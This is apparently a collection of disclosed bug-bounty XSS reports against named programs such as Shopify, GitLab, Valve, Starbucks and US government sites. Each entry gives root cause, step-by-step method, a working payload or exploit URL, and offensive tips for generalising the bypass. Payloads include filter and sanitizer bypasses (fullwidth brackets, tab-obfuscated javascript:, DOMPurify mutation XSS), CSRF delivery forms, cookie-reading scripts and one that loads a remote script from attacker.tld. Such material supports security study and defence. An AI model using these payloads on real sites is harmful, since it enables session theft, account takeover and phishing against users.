http://api.tiles.mapbox.com/v4/<map>/page.html?access_token=pk....'><script>alert(document.domain)</script>#11/39.9/-75.1
Insight — Test XSS across browsers: Firefox historically leaves the single quote (%27/') un-encoded in the URL, enabling attribute/tag breakouts that fail in Chrome. Also, underscore <%= %> (vs <%- %>) is an unescaped sink -- grep templates for the interpolate delimiter.
Real-world example
XSS filter bypass with fullwidth angle brackets
◆ Medium
Specimen #231389 · rockstargames · 1000 · 30 votes · resolved
Program rockstargamesSurface web
Root cause
The filter neutralized ASCII < and > but not the fullwidth Unicode variants U+FF1C (<) and U+FF1E (>). Where the sink later normalizes/renders those to real angle brackets, the payload survived filtering (stored XSS in UGC comments).
Method
- Craft an XSS payload using fullwidth angle brackets instead of < >
- Submit it where ASCII brackets are stripped (Snapmatic comments)
- Sink normalizes fullwidth chars back to < > -> payload executes
<script>alert(document.domain)</script>
Insight — When < > are filtered, retry with homoglyph/fullwidth Unicode (U+FF1C/U+FF1E) and other normalized variants; if any downstream layer NFKC-normalizes or maps them to ASCII, you get XSS. Standard bypass to try on every input that strips angle brackets.
Real-world example
XSS via BBCode/markdown [url=] attribute injection
◆ Medium
Specimen #313250 · valve · 1000 · 30 votes · resolved
Program valveSurface web
Root cause
Steam's widget markdown parser for [url=...] built an anchor without sanitizing the URL, letting the attacker inject an extra HTML attribute (onclick) into the generated tag -> DOM XSS.
Method
- Use the embed/widget markdown that accepts [url=...]
- Inject a crafted url value that closes the attribute and adds onclick=
- Click the rendered link -> JS executes
[url=google.com:/onclick='alert(document.domain)'[url=]]xss[/url]
# via: /widget/386360/?t=[url=google.com:/onclick=%27alert(document.domain)%27[url=]]xss[/url]
Insight — Markdown/BBCode link parsers that reflect the URL into an anchor's attributes are a recurring XSS sink: try breaking out of href to add event-handler attributes (onclick/onmouseover). Test every [url=]/[img]/link markdown surface.
Real-world example
JSONP callback content-type confusion -> content-sniffed XSS
◆ Medium
Specimen #168458 · shopify · awarded · 30 votes · resolved
Program shopifySurface api
Root cause
An API endpoint returns application/javascript only when the callback param is present; omit callback and the response has no Content-Type, so the browser MIME-sniffs the JSON (containing an attacker-set product title) as text/html and executes embedded HTML/JS.
Method
- Create a product whose title contains an XSS payload
- Request the JSON endpoint WITHOUT the callback param (so Content-Type is absent)
- Browser sniffs the body as text/html -> stored XSS
https://productreviews.shopifyapps.com/proxy/v4/reviews/product?product_id=<id>&version=v4&shop=<attacker>.myshopify.com&_=cache&callback=
# omit/blank callback so no Content-Type header is returned
Insight — On JSON/JSONP endpoints, drop the callback param (or otherwise strip Content-Type) and check whether the browser sniffs the reflected/stored data as HTML. Missing Content-Type + no X-Content-Type-Options: nosniff = MIME-sniffing XSS.
Real-world example
Reflected XSS inside inline JS context (auditor bypass)
◆ Medium
Specimen #292457 · valve · awarded · 30 votes · resolved
Program valveSurface web
Root cause
URL path segments were reflected directly inside an inline <script> block, so the attacker breaks out of the surrounding function/object with balanced braces instead of injecting a tag -- executing without any < > and bypassing the (then-present) Chrome XSS auditor.
Method
- Locate a path whose segments are reflected into inline JS (e.g. /international/live/5/5/1)
- Supply a payload that closes the enclosing JS expression and calls alert
- Fires in Chrome/Firefox/Opera (no HTML tag needed)
www.dota2.com/international/live/5/5/1})}});alert(document.cookie);(test=>{{({<!--
Insight — When the reflection is inside an inline script, you don't need <script>; break out of the JS syntax (close braces/parens) and append your code. Script-context reflections often bypass reflected-XSS auditors/WAFs that only look for tags.
Real-world example
Server-persisted 'Cloud Save' settings -> DOM XSS + length bypass
◆ Medium
Specimen #921635 · duckduckgo · none · 30 votes · resolved
Program duckduckgoSurface web
Root cause
DuckDuckGo's Cloud Save stores UI settings (kp, kae) server-side keyed by a 'key' param; on every result-page load these settings are fetched and injected into the DOM unescaped -> persistent DOM XSS triggered by visiting a link with the attacker's key.
Method
- POST /settings.js write with kp/kae set to an XSS payload, choosing an objectKey
- Send victim https://duckduckgo.com/?q=a&key=<objectKey>
- Key is saved to localStorage; settings fetched and injected on every page -> XSS everywhere (results, /settings, ...)
POST /settings.js {"command":"write","objectKey":"...","obj":{"kp":"\"><svg/onload=eval(`'`+URL)>"}}
# trigger: https://duckduckgo.com/?q=s&key=...#';alert(document.domain);
Insight — User 'settings/preferences' that persist server-side and are re-hydrated into the DOM are a strong stored-DOM-XSS surface. For length-limited fields (30 chars here), use eval(`'`+URL) so the real payload lives in the URL fragment.
Real-world example
Reader-mode template injection via page <title> + content exfil
◆ Medium
Specimen #991713 · brave · awarded · 30 votes · resolved
Program braveSurface mobile-iosChain Malicious <title> -> HTML injection in reader doc -
Root cause
Brave iOS reader mode builds Reader.html by substituting the page's <title> into %READER-TITLE% without escaping, so any page can inject HTML into the local reader document. The template also exposes %READER-CONTENT% (original page text), enabling exfiltration.
Method
- Host a page whose <title> contains injected HTML (a fake login form)
- Victim opens the page and taps reader mode
- Injected HTML renders in the local reader (localhost:65XX) context
- Use <form><textarea>%READER-CONTENT%</textarea> to capture the original page content and exfiltrate on submit
<title><form><textarea name="dom">%READER-CONTENT%</textarea><input type=submit></form></title>
Insight — Client-side 'reader/simplify' modes build a new document from placeholders (%TITLE%, %CONTENT%). Test whether page-controlled fields (title, byline) are escaped, and whether special placeholder tokens can be reflected to leak the page body across the reader trust boundary.
Real-world example
WSO2 Carbon admin login.jsp msgId reflected XSS (CVE-2020-17453)
◆ Medium
Specimen #1158823 · mtn_group · none · 30 votes · resolved
Program mtn_groupSurface web
Root cause
WSO2 Carbon management console login.jsp reflects the msgId parameter unescaped inside a JS/HTML context, allowing reflected XSS (CVE-2020-17453). This is a fingerprintable product vuln.
Method
- Fingerprint a WSO2 Carbon console (/carbon/admin/login.jsp)
- Inject msgId payload
- Alert fires / page content rewritten
https://<host>/carbon/admin/login.jsp?msgId=%27%3Balert(%27xss%27)%2F%2F
Insight — Recon-driven: identify off-the-shelf products (WSO2 Carbon, Swagger UI, phpMyAdmin, etc.) on subdomains and test their known-CVE parameters (here msgId). Product fingerprint + public advisory = fast reflected XSS.
Real-world example
Swagger UI stored XSS: old DOMPurify + Rails UJS script gadget
◆ Medium
Specimen #1072868 · gitlab · 2000 · 29 votes · resolved
Program gitlabSurface webChain Malicious OpenAPI spec -> HTML injection -> UJS scriptTag account-takeover
Root cause
GitLab's OpenAPI viewer used an outdated swagger-ui whose old DOMPurify let an attacker inject any HTML element/attribute (except <script>) from an openapi.yaml file. CSP blocked inline event handlers, but the attacker used Rails UJS (data-remote/data-method/data-type=script) to load and run JS from a same-origin raw file with one click. A ?url= param renders any attacker-hosted spec inside ANY repo's viewer.
Method
- Commit an openapi.yaml containing the UJS gadget anchor
- Victim opens the repo's /-/blob/master/openapi.yaml and clicks anywhere -> JS runs
- Universal variant: append ?url=<raw attacker openapi.yaml> to any repo's OpenAPI viewer URL to trigger it there
<a data-remote="true" data-method="get" data-type="script" href="/wbowling/wiki/raw/master/test.js" class="atwho-view select2-drop-mask pika-select"></a>
Insight — Outdated swagger-ui / DOMPurify allows HTML-attribute injection; under CSP, escalate with framework 'UJS' gadgets (Rails data-remote data-type=script) that fetch+eval same-origin scripts. Also test the swagger-ui url=/config= param -- it renders attacker-hosted specs inside the victim origin, making stored XSS effectively reflected/universal.
Real-world example
Stored XSS via app/display name rendered cross-tenant
◆ Medium
Specimen #159460 · slack · 1000 · 29 votes · resolved
Program slackSurface web
Root cause
A Slack app's name is stored unescaped and rendered on the app page (and its URL) shown to other users, so an attacker sets a script payload as the app name and any user viewing the app gets XSS. A recurring class: attacker-controlled name/label fields rendered unescaped in another user's or an admin's view.
Method
- Edit the app's name to an XSS payload on the app general settings page
- Open/share the app page URL
- Payload executes for the viewing user
"/><script>alert(/xss/)</script>
Insight — Name/title/label fields (app name, campaign name, approval-rule name, display name) are classic stored-XSS sinks because they're echoed into many privileged/other-user views. Enumerate every place a user-set 'name' is rendered, especially admin dashboards and cross-tenant pages.
Real-world example
AngularJS template injection -> reflected XSS
◆ Medium
Specimen #230234 · wordpress · awarded · 29 votes · resolved
Program wordpressSurface web
Root cause
User input reflected inside an AngularJS-bound region; ng expressions are evaluated so {{...}} executes even when HTML is encoded.
Method
- Probe reflections with {{2*2}} and look for '4' in the response
- Confirm Angular scope, then submit a sandbox-escape expression
https://mercantile.wordpress.org/search/{{constructor.constructor('alert(document.domain)')()}}
Insight — If {{7*7}} renders as 49 you have CSTI in AngularJS; escalate to JS exec with constructor.constructor(...)() which bypasses the Angular sandbox regardless of HTML encoding.
Real-world example
Reflected XSS via javascript: URL in Base64 JSON param
◆ Medium
Specimen #320679 · grab · awarded · 29 votes · resolved
Program grabSurface web
Root cause
A microsite decodes a Base64 'q' param into JSON and renders one field (promo_code) as an unvalidated href; a javascript: URL there executes on click.
Method
- Decode the q= Base64 to reveal the JSON structure
- Set the URL-typed field (promo_code) to a javascript: URI
- Re-encode to Base64 and deliver; victim clicks the Copy/link element
{"...","promo_code":"javascript://r.grab.com/test%0aalert(document.domain)","..."}
(base64 into) ?q=eyJ...9fQ==
Insight — Always decode opaque Base64/JSON params -- fields holding URLs are prime javascript:-URI XSS sinks. %0a after javascript:// comments out the label so the payload runs and mimics a legit referral link.
Real-world example
Second-order stored XSS via SMTP username, triggers on webhook UI
◆ Medium
Specimen #912865 · smtp2go-vdp · none · 29 votes · resolved
Program smtp2go-vdpSurface web
Root cause
Username field stored without encoding and later rendered raw in a different admin view (webhook user selector), executing there.
Method
- Add an SMTP user with an XSS payload as the username
- Open Webhooks -> Add Webhook -> select that user to trigger
�</form><input type="date" onfocus="alert(1)">
Insight — Test stored fields whose value is re-rendered on a different screen than where it was entered; the </form>+autofocus input avoids needing script tags.
Real-world example
Reflected XSS via JS-string breakout in search param
◆ Medium
Specimen #1818628 · us-department-of-state · none · 29 votes · resolved
Program us-department-of-stateSurface web
Root cause
segFilter value is reflected inside a JavaScript function-call context; closing the string+paren and appending a statement executes attacker JS.
Method
- Add search params including segFilter=
- Inject a quote/paren-closing sequence followed by a JS call
https://travel.state.gov/content/travel/en/search.html/?search_input=hello&data-sia=false&data-con=false&search_btn=&segFilter=x');confirm('1
Insight — When a param lands inside a JS call like foo('VALUE'), the breakout is ');PAYLOAD// or ');confirm('1 -- test single-quote+paren closure before HTML-tag payloads.
Real-world example
Cross-subdomain second-order stored XSS via profile firstName
◆ Medium
Specimen #205626 · coursera · none · 28 votes · resolved
Program courseraSurface web
Root cause
A profile field (First Name) is stored and later rendered unescaped on a different site/subdomain that trusts the same account data.
Method
- Set First Name to an HTML-injection payload during signup
- Log in to the sister site (translate-coursera.org) which renders the name unsanitized
"><img src=x onerror=prompt(1337)>
Insight — Follow where account data flows: a value sanitized on the primary app may render raw on a secondary property/subdomain. Trigger XSS by visiting the SINK app, not the field's origin. Also seen as generic stored XSS in message subject fields (#532643).
Real-world example
WAF-vs-XSS-Auditor bypass via char-stripping split tags
◆ Medium
Specimen #265528 · gsa_bbp · awarded · 28 votes · resolved
Program gsa_bbpSurface web
Root cause
Pagination block reflects the query string; a WAF (FILTER_SANITIZE_STRING) strips certain chars and the stripped result reassembles into a valid event-handler injection that also evades the XSS Auditor.
Method
- Find a reflected sink (pagination links)
- Insert <-embedded splits so the sanitizer's char-removal reconstructs a valid tag/attribute
- Trigger via mouseover on the paginated link
https://www.data.gov/local/?&q&zzz'onmou<seover=1&ale<rt('xsp'<)<;1; //
Insight — Two defenses can cancel out: craft payloads whose post-strip form is the live vector and which the browser auditor no longer flags because output no longer matches the source. Site-wide sink here (80+ endpoints).
Real-world example
Reflected XSS via javascript: URI in auth redirect param
◆ Medium
Specimen #758854 · deptofdefense · none · 28 votes · resolved
Program deptofdefenseSurface web
Root cause
An embeddedAuthRedirect page takes an 'auth' URL param and navigates/links to it without scheme validation, so a javascript: URI executes.
Method
- Locate a redirect/auth handler consuming a URL param
- Set the param to a javascript: URI
https://TARGET/en/embeddedAuthRedirect.html?auth=javascript:alert("xElkomy")
Insight — Redirect/return/auth params feeding href or location without a scheme allowlist are javascript:-URI XSS sinks; test javascript:, data:, and tab/newline-obfuscated variants.
Real-world example
Cisco ASA WebVPN reflected XSS (CVE-2020-3580)
◆ Medium
Specimen #1247833 · mtn_group · none · 28 votes · resolved
Program mtn_groupSurface webTag saml
Root cause
Unauthenticated ASA/FTD SAML ACS endpoint reflects the POSTed SAMLResponse value into a hidden input without encoding.
Method
- Identify a Cisco ASA WebVPN portal (/+CSCOE+/, /+webvpn+/)
- POST to /+CSCOE+/saml/sp/acs?tgname=a with a breakout SAMLResponse
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: TARGET
Cookie: webvpnlogin=1; webvpnLang=en
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
SAMLResponse="><svg/onload=alert('Renzi')>
Insight — Fingerprint edge appliances and map their CVEs -- Cisco ASA WebVPN (CVE-2020-3580) reflects SAMLResponse; a value-attribute breakout "><svg/onload=...> is the standard PoC.
Real-world example
Open-redirect allowlist bypass -> javascript: DOM XSS
◆ Medium
Specimen #1988560 · deptofdefense · none · 28 votes · resolved
Program deptofdefenseSurface webChain open-redirect -> XSS
Root cause
A client redirect validates the host by checking the substring after the FIRST '://' against an allowlist then sets window.location.href = rawRedirect -- allowing a javascript: scheme prefix plus a fake '://allowedhost' suffix.
Method
- Read the client validator (isSafeHost); it only inspects text after the first ://
- Prepend javascript: for exec and append //://<allowed-host>/ to satisfy the allowlist
https://TARGET/sec.html?redirect=javascript:alert(document.cookie);//://ALLOWED-HOST/
Insight — When a redirect allowlist matches only the part after '://', prepend javascript: (exec) and append a fake '://trusted' commented out with // -- passes the check AND runs as javascript: in location.href.
Real-world example
DOM XSS via ?msg= into jQuery .html()
◆ Medium
Specimen #2433634 · gocd · none · 28 votes · resolved
Program gocdSurface web
Root cause
info-message.js reads location.search msg= and passes it to $(document.body).html(), a jQuery HTML sink, without sanitization.
Method
- Find client JS reading a URL param and calling .html()/innerHTML
- Supply an svg/onload payload in msg=
?msg=%3Csvg%2Fonload%3Dalert(%22XSS%22)%20%3E -> <svg/onload=alert("XSS") >
Insight — grep client bundles for .html(, .innerHTML, document.write fed from location.search/hash. jQuery .html() executes injected markup's event handlers; <svg onload> fires without a script tag.
Real-world example
HTML injection into transactional email via unsanitized name field
◆ Medium
Specimen #833470 · rocket_chat · none · 27 votes · resolved
Program rocket_chatSurface web
Root cause
A user-controlled Name field is rendered unescaped into a system-generated email (signup/invite), so HTML tags entered there render in the victim's inbox, enabling convincing in-email phishing/branding spoof.
Method
- Find a flow that emails a victim and echoes a user-controlled field (name, workspace name)
- Set that field to HTML (an <img>/anchor with attacker content)
- Send to the victim; the email renders the injected HTML
Name: "><img src=https://ATTACKER/logo.png>"@x.y
Insight — Transactional emails are frequently built from unescaped profile fields; HTML injection there is high-trust phishing (the mail comes from the real service). Test name/workspace/company fields that later appear in invites and welcome mails.
Real-world example
Stored XSS via CSS animation onanimationend (no angle brackets)
◆ Medium
Specimen #859333 · gitlab · USD 2000 · 27 votes · resolved
Program gitlabSurface web
Root cause
Full name is rendered into an element permitting attribute injection; reusing an existing keyframes animation (gl-spinner-rotate) via style=animation-name fires onanimationend to run JS without injecting tags.
Method
- Set profile full name to an attribute-injection payload
- View a page that renders the name (group issue list with vue_issuables_list feature)
foo style=animation-name:gl-spinner-rotate onanimationend=alert(1)
Insight — When you can inject attributes but not tags (or < > are filtered), reuse a CSS @keyframes already defined by the app and attach onanimationstart/onanimationend to auto-execute JS -- no script tag, no user interaction.
Real-world example
DOM XSS via client-side path traversal to a JSONP callback endpoint
◆ Medium
Specimen #172843 · rockstargames · awarded · 27 votes · resolved
Program rockstargamesSurface web
Root cause
The #tags fragment builds an XHR path (/newswire/tagContent/<tags>/1) whose response is injected into the page; path-traversal redirects the XHR to a JSONP endpoint returning application/javascript, which executes via ?callback=.
Method
- Note the client fetches /newswire/tagContent/<tags>/1 from the # fragment and injects the response
- Traverse (..\..) to a same-origin JSONP endpoint returning a JS content-type
- Use ?callback=alert(1)// so the returned JS runs
http://www.rockstargames.com/newswire/tags#/?tags=\%2e%2e\%2e%2e\%2e%2e\comments_dal\users\getGlobalLoginSettings%2ejson?callback=alert(%2fxss%2f);%2f%2f
Insight — When client JS fetches a URL built from a user-controlled path and injects/evaluates the result, use client-side path traversal to point it at a same-origin JSONP endpoint; the callback param yields arbitrary JS with a JS content-type.
Real-world example
DOM XSS via ReturnUrl with tab-obfuscated javascript: scheme
◆ Medium
Specimen #526265 · starbucks · awarded · 27 votes · resolved
Program starbucksSurface web
Root cause
ReturnUrl is used to navigate after sign-in; the scheme filter is bypassed by embedding tab (%09) chars inside 'javascript:', which browsers ignore when parsing the scheme.
Method
- Find a return/redirect param used as location after auth
- Insert %09 inside the javascript scheme to defeat naive 'javascript:' string checks
- Trigger by signing in
https://app.starbucks.com/account/signin?ReturnUrl=%09Jav%09ascript:alert(document.domain)
Insight — Browsers strip control chars (\t \n \r, %00-1F) when resolving a URL scheme, so Jav\tascript: still executes but string-based 'javascript:' blocklists miss it. Standard bypass for return/redirect DOM-XSS sinks.
Real-world example
Second-order stored XSS via Store contact email -> Get support link
◆ Medium
Specimen #1107726 · shopify · USD 500 · 26 votes · resolved
Program shopifySurface web
Root cause
The Store contact email value is later rendered unescaped in the apps.shopify.com 'Get support' link/context; an email string containing markup before the @ executes there.
Method
- Set Store contact email (General Settings) to a payload email
- Wait ~60 min for propagation, open any app page and click 'Get support' on the sidebar
luc1d"><img/src="x"onerror=alert(document.domain)>@wearehackerone.com
Insight — Email fields that only validate a trailing @domain still accept HTML in the local part; the value often re-renders on a different property (support/mailto links). Test where stored contact fields surface across sub-apps, and allow for async propagation delays.
Real-world example
Textarea breakout reflected XSS made deliverable via CSRF
◆ Medium
Specimen #177508 · starbucks · awarded · 26 votes · resolved
Program starbucksSurface webChain CSRF -> reflected XSS
Root cause
User-controlled wishlist comment is reflected unescaped inside a <textarea>. The endpoint has no CSRF token, so a normally self-only reflected XSS becomes attacker-triggerable via an auto-submitting cross-site form.
Method
- Submit a comment value that closes the textarea and injects an img/onerror
- Confirm reflection in the returned HTML snippet
- Since no CSRF token guards the POST, host an auto-submitting form that posts the payload to the victim's wishlist id
wishlistComment=</textarea><img src=x onerror=alert(1)>
<!-- CSRF delivery -->
<form action="https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Wishlist-Comments/:id" method="POST"><input type="hidden" name="wishlistComment" value="</textarea><img src=x onerror=alert(1)>"></form>
Insight — When a reflected/stored XSS sink sits behind a state-changing POST with no CSRF protection, chain CSRF to deliver the payload to arbitrary victims - the missing token upgrades self-XSS to a real attack.
Real-world example
postMessage origin check bypass via substring match -> javascript: injection
◆ Medium
Specimen #381192 · shopify · awarded · 26 votes · resolved
Program shopifySurface webChain postMessage origin bypass -> DOM XSS
Root cause
The preview-bar message listener validated origin with `this.iframeSrc.indexOf(event.origin) < 0`. Because event.origin has no trailing slash, a shorter attacker origin (e.g. https://foo.my) is a substring of https://foo.myshopify.com/preview_bar and passes; an exit_preview message then supplies a javascript: redirect URL.
Method
- Register/host on a domain that is a string-prefix of the expected origin (e.g. shop.co vs shop.com)
- Frame the target shop with ?preview_theme_id=<current theme id>
- postMessage an exit_preview message specifying a javascript: URL as the redirect target
// weak check:
this.iframeSrc.indexOf(event.origin) < 0
// attacker origin https://roolee.co is a substring of https://roolee.myshopify.com
// exit_preview message -> redirect to javascript:alert(document.domain)
Insight — Any origin check using indexOf/startsWith/includes without exact-match (and a trailing '/') is bypassable by a prefix domain; correct form is `iframeSrc.indexOf(event.origin + "/") != 0`.
Real-world example
Stored XSS in campaign personalization fields
◆ Medium
Specimen #919859 · lemlist · none · 26 votes · resolved
Program lemlistSurface web
Root cause
Campaign personalization fields (Icebreaker, companyName) are stored and rendered without output encoding, allowing an injected tag with an event handler to execute.
Method
- Create/edit a campaign
- Open the Buddies-to-Be tab and add an entry
- Put the payload in the Icebreaker and companyName inputs and save
/><svg src=x onload=confirm(document.domain);>
Insight — Personalization/merge fields in email/marketing tools are commonly rendered raw in the app UI; test every custom variable field as a stored-XSS sink.
Real-world example
DOMPurify mutation-XSS bypass via namespace confusion (mglyph/mtext/style)
◆ Medium
Specimen #1024734 · ibb · none · 26 votes · resolved
Program ibbSurface web
Root cause
A parser mutation bug: nesting form/math/mtext then mglyph/svg/mtext/style causes the browser to re-interpret an inert-looking style/path content as an active <img onerror> after DOMPurify sanitizes, defeating default config.
Method
- Feed the crafted markup to DOMPurify.sanitize()
- Assign the sanitized result to element.innerHTML
- Browser re-parses (mXSS) and fires the onerror
<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert('XSS') src>">
Insight — HTML sanitizers are defeated by mutation XSS where foreign-content (MathML/SVG) parsing rules differ from HTML; when a target uses DOMPurify, test known mXSS namespace-confusion gadgets and keep the library version current.
Real-world example
Stored XSS via renamed project name rendered in notification feed
◆ Medium
Specimen #1070859 · logitech · none · 26 votes · resolved
Program logitechSurface webChain stored XSS -> privilege escalation (editor to owner)
Root cause
An editor can rename a project to a malicious HTML element; the name is escaped on primary pages but rendered raw when surfaced in the owner's notification dropdown (a second-order sink), executing in the owner's session.
Method
- Get invited to a project as editor
- Rename the project to a malicious HTML/script payload
- Owner opens the notification bell; the stored name renders and the script fires
<img src=x onerror=alert(document.domain)>
Insight — Object names/titles are often escaped on the page that displays them but re-rendered unescaped inside notifications, activity feeds, and emails; always test the second-order sinks, not just the primary view.
Real-world example
Reflected XSS via login url parameter
◆ Medium
Specimen #1390131 · deptofdefense · none · 26 votes · resolved
Program deptofdefenseSurface web
Root cause
The login page reflects the url GET parameter into the response without sanitizing special characters, allowing a <script> tag to execute.
Method
- Append an XSS payload to the url parameter of the login endpoint
- Send the crafted link to a victim
- Script executes on page load
https://TARGET/WebPuff5.4/Login?signIn=Sign%20In&password=x&url=login.jsp%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Ealert(9868)%3C/ScRiPt%3E&username=x
Insight — Post-login redirect / return-url parameters on login pages are a recurring reflected-XSS sink; fuzz them with a polyglot marker containing '"()&%<> to find the reflection context.
Real-world example
Reflected XSS via autofocus+onfocus auto-trigger with double URL encoding
◆ Medium
Specimen #2741110 · deptofdefense · none · 26 votes · resolved
Program deptofdefenseSurface web
Root cause
The view parameter is reflected into an element attribute; injecting an element with AutoFocus and OnFocus makes the JS fire without user interaction, and double URL-encoding slips the payload past the input filter.
Method
- Inject an element carrying autofocus and onfocus into the reflected view parameter
- Use double URL-encoding (%2526, %252362) to evade filtering
- On load the autofocused element fires onfocus and executes JS
https://TARGET/tags/image/sizzle-reel?&view=K0X%22%20AutoFocus%20%2526%252362%20OnFocus%0c%3dprompt%601%60%20kaos%3d%22uwps2&sort=date
Insight — autofocus + onfocus (or onanimationstart, oninput) auto-executes without a click; combine with double-encoding when a single-decode filter is in place - re-encode the payload one extra layer.
Real-world example
Path-reflected XSS via mimeType override (CVE-2018-1000129, Jolokia)
◆ Medium
Specimen #2778412 · deptofdefense · none · 26 votes · resolved
Program deptofdefenseSurface web
Root cause
Jolokia reflects part of the request URI into the response and the mimeType query parameter forces the response to be served as text/html, so an injected <svg onload> executes.
Method
- Identify a Jolokia endpoint (JMX-HTTP bridge)
- Place an SVG payload in the URI path segment
- Append ?mimeType=text/html so the reflected content is rendered as HTML
https://TARGET/...%3Csvg%20onload=alert(document.domain)%3E?mimeType=text/html
Insight — Known-CVE fingerprinting pays off: Jolokia/JMX bridges are frequently exposed and vulnerable; a content-type override parameter (mimeType) turns a text reflection into executable HTML.
Real-world example
Stored XSS via PyPi package metadata (requires_python) in simple API index
◆ Medium
Specimen #856836 · gitlab · 3000 · 25 votes · resolved
Program gitlabSurface api
Root cause
The PyPi simple-API HTML index builds <a data-requires-python="..."> from the package's requires_python field with no escaping (only a 50-char DB limit), allowing HTML/script injection.
Method
- Create a project and publish a PyPi package via the API
- Set requires_python to an attribute-breakout script payload
- Visit the simple API endpoint to see the injected markup
curl "https://__token__:$TOKEN@gitlab.com/api/v4/projects/ID/packages/pypi" -F content=@/tmp/lala.txt -F version=1 -F name='pkg' -F requires_python='"><script>alert(1)</script>'
Insight — Package/registry metadata fields (requires_python, author, homepage) are attacker-controlled and often rendered into generated HTML index pages without escaping - a stored-XSS surface in package registries.
Real-world example
DOM XSS in TradingView charting_library via indicatorsFile ($.getScript)
◆ Medium
Specimen #351275 · gatecoin · 500 · 25 votes · resolved
Program gatecoinSurface web
Root cause
charting_library's tv-chart.html reads the indicatorsFile URL parameter and passes it to $.getScript(urlParams.indicatorsFile), loading and executing an attacker-hosted remote script.
Method
- Locate the bundled tv-chart.html of TradingView charting_library
- Set #indicatorsFile= to an attacker-hosted script URL
- Open the URL; getScript fetches and runs the remote JS
https://TARGET/charting_library/static/tv-chart.html#indicatorsFile=//attacker.tld/poc&disabledFeatures=[]&enabledFeatures=[]
Insight — Recurring third-party-widget DOM XSS: any site embedding TradingView charting_library exposes indicatorsFile/customCSS params that sink into $.getScript / script src - grep deployments for tv-chart.html.
Real-world example
Reflected XSS via base64/JSON prefill param; object data:javascript + Firefox CSP bypass
◆ Medium
Specimen #915756 · automattic · awarded · 25 votes · resolved
Program automatticSurface web
Root cause
The abuse-report page base64-decodes a prefill parameter into JSON and reflects the tumblelog field into HTML unescaped; an <object data="javascript:..."> executes, and on Firefox <70 a trivial CSP bypass allowed it despite CSP.
Method
- Decode the base64 prefill JSON and set tumblelog to an object data:javascript payload
- Re-encode to base64 and load the abuse/start URL while logged in
- Script executes (Firefox <70 to bypass CSP)
{"post":null,"urlreporting":"https://x.tumblr.com/","tumblelog":"<object data=\"javascript:alert(document.cookie)\">","context":"blog"}
// base64-encode the JSON and pass as ?prefill=
Insight — When a parameter is base64/JSON-wrapped, decode it, inject into the reflected inner field, and re-encode; <object data=javascript:> is a useful vector, and old-browser CSP bypasses can still matter for targeted attacks.
Real-world example
Stored XSS via program name passed unsanitized into a Markdown/React component
◆ Medium
Specimen #983077 · security · none · 25 votes · resolved
Program securitySurface web
Root cause
The example Custom Digital Agreement is built from the Program Name and passed directly to a Markdown React component that assumes pre-sanitized HTML, so raw HTML in the name renders as live markup.
Method
- Set the Program Name to an HTML payload
- Open the advanced_vetting page and click View document (generates DCA from the name)
- The name renders unsanitized through the Markdown component
<blink><marquee><a href="//anything">XSS</a></marquee></blink>
Insight — Trace data into rendering components (React Markdown, dangerouslySetInnerHTML, v-html) that assume their input is already sanitized; the XSS is in the component contract, not the input field's own escaping.
Real-world example
Reflected POST XSS with multi-context polyglot breakout
◆ Medium
Specimen #1040639 · automattic · awarded · 25 votes · resolved
Program automatticSurface webChain CSRF-style POST delivery -> reflected XSS
Root cause
The txtCode POST parameter is reflected unsanitized; a polyglot that closes textarea, script and comment contexts before an svg/onload guarantees execution regardless of the exact reflection context.
Method
- Identify the reflected POST parameter (txtCode) on the reinstall/update endpoint
- Deliver via an auto-submitting form (requires the victim to have reinstall permission on the attacker's site)
- The polyglot breaks out and svg onload fires
</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=prompt(document.cookie)//>\x3e
Insight — When you don't know the reflection context, use a multi-context breakout polyglot (close textarea + script + comment, then svg/onload with slash separators and mixed case) to fire in whichever context applies.
Real-world example
Stored XSS in email-builder banner block description
◆ Medium
Specimen #1065964 · stripo · none · 25 votes · resolved
Program stripoSurface web
Root cause
The banner block description in the template editor is stored and rendered without output encoding, allowing attribute breakout and an img/onerror.
Method
- Create a template and add a banner block
- Set the block description to the attribute-breakout payload
- Payload executes in the editor/preview
"><img src=1 onerror=alert(document.domain)>
Insight — Rich template/email builders render many free-text sub-fields (block descriptions, alt text, captions) into live HTML; enumerate every block field as a stored-XSS sink.
Real-world example
rails-html-sanitizer / ActionView sanitize bypass with style+svg (or math+style)
◆ Medium
Specimen #2931688 · ibb · awarded · 25 votes · resolved
Program ibbSurface web
Root cause
Rails::HTML::Sanitizer 1.6.0 (used by ActionView's sanitize helper) fails to neutralize input when the allowlist includes svg+style or math+style, enabling a foreign-content mutation XSS.
Method
- Find a sanitize() call whose allowed tags include style together with svg or math
- Submit a mutation-XSS payload exploiting the namespace/style parsing gap
- Rendered output executes
<%= sanitize @comment.body, tags: ["svg", "style"] %>
<%# or %>
<%= sanitize @comment.body, tags: ["math", "style"] %>
<%# payload pattern per advisory GHSA-2x5m-9ch4-qgrr / report #2503220 %>
Insight — Server-side HTML sanitizers share the browser's foreign-content parsing quirks: allowing style alongside svg/math is dangerous; check the sanitizer library version (fixed in rails-html-sanitizer 1.6.1) and the tag allowlist.
Real-world example
Stored XSS via Home Page URL field in admin app list
◆ Medium
Specimen #797754 · pingidentity · awarded · 24 votes · resolved
Program pingidentitySurface webTag account-takeover
Root cause
A URL config field (application Home Page URL) is stored without validation and rendered into the admin Applications list / edit view without output encoding, so an svg/onload payload stored by a low-priv user fires in an admin's browser.
Method
- Create an application in the console (Connections / Applications)
- Set/save a Home Page URL and intercept the request
- Replace the URL with an XSS payload and forward
- Payload fires when an admin opens the app in the list and clicks edit
https://0-a.nl/<svg/onload=alert(document.domain)>
Insight — 'URL' fields are often only client-side format-validated; intercept and replace with markup. The dangerous sink is frequently not the display list but the edit/detail view that echoes the raw value into an attribute or DOM node.
Real-world example
Authenticated stored XSS in bbPress forum content (Text editor)
◆ Medium
Specimen #881918 · wordpress · awarded · 24 votes · resolved
Program wordpressSurface webTag account-takeover
Root cause
bbPress forum body submitted via the 'Text' (raw HTML) editor is not sanitized before being echoed on the wp-admin forum listing page, giving stored XSS in the WordPress dashboard for all users (CVE-2020-13487).
Method
- Create a new Forum via wp-admin/edit.php?post_type=forum -> Add New
- Enter the payload in the content using the 'Text' editor (not 'Visual')
- Publish; payload executes when anyone views the forum listing page
<script>alert(document.cookie)</script>
